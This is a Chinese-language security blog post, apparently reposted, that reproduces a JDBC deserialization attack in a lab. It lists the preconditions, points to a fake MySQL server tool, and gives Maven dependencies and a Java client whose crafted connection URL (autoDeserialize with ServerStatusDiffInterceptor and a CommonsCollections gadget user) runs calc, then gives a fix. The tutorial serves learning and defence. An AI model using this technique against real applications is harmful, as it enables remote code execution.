JDBC反序列化漏洞

admin 2024年5月18日23:13:57评论2 views字数 1543阅读5分8秒阅读模式

免责声明:

      本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!

JDBC简介:

JDBC 就是使用Java语言操作关系型数据库的一套API 全称:( Java DataBase Connectivity ) Java 数据库连接JDBC的引入实现了java程序对数据库的便捷访问,通过使用JDBC,可以将sql语句传给任何一种数据库,不必单独写程序访问不同的数据库。

漏洞原理:

jdbc连接数据库的过程中,开启连接地址中的一些连接参数就有可能造成反序列化漏洞。
利用条件:
l攻击者可以控制JDBC的连接设置项,比如:mysql的autoDeserialize=true
l可以控制数据库服务器(搭建的恶意的数据库服务器)
l存在可以打的依赖

漏洞复现:

搭建恶意的mysql服务端:

使用大佬的图形化工具:

https://github.com/4ra1n/mysql-fake-server/

JDBC反序列化漏洞

可以选择利用链、漏洞类型、触发点、数据库版本、自定义命令、自动生成数据库连接URL,基本全部自动化,非常贴心了

然后使用idea模拟客户端连接服务器:

新建maven项目导入下面的依赖:

  <dependencies>        <dependency>            <groupId>mysql</groupId>            <artifactId>mysql-connector-java</artifactId>            <version>8.0.19</version>        </dependency>        <dependency>            <groupId>commons-collections</groupId>            <artifactId>commons-collections</artifactId>            <version>3.2.1</version>        </dependency>    </dependencies>

模拟客户端连接数据库demo

import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;public class jdbc_test {    public static void main(String[] args) throws ClassNotFoundException, SQLException {        String driver = "com.mysql.cj.jdbc.Driver";//数据库连接URL以及相关配置        String url = "jdbc:mysql://192.168.1.105:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";//加载驱动类        Class.forName(driver);//通过 Drivermanager 类获取数据库连接的实例        Connection connection = DriverManager.getConnection(url);    }}

运行即可执行calc命令

JDBC反序列化漏洞

漏洞修复:

禁用autoDeserializeProperties properties=new Properties();properties.setProperty("autoDeserialize","false");

原文始发于微信公众号(fly的渗透学习笔记):JDBC反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日23:13:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JDBC反序列化漏洞https://cn-sec.com/archives/2754755.html

发表评论

匿名网友 填写信息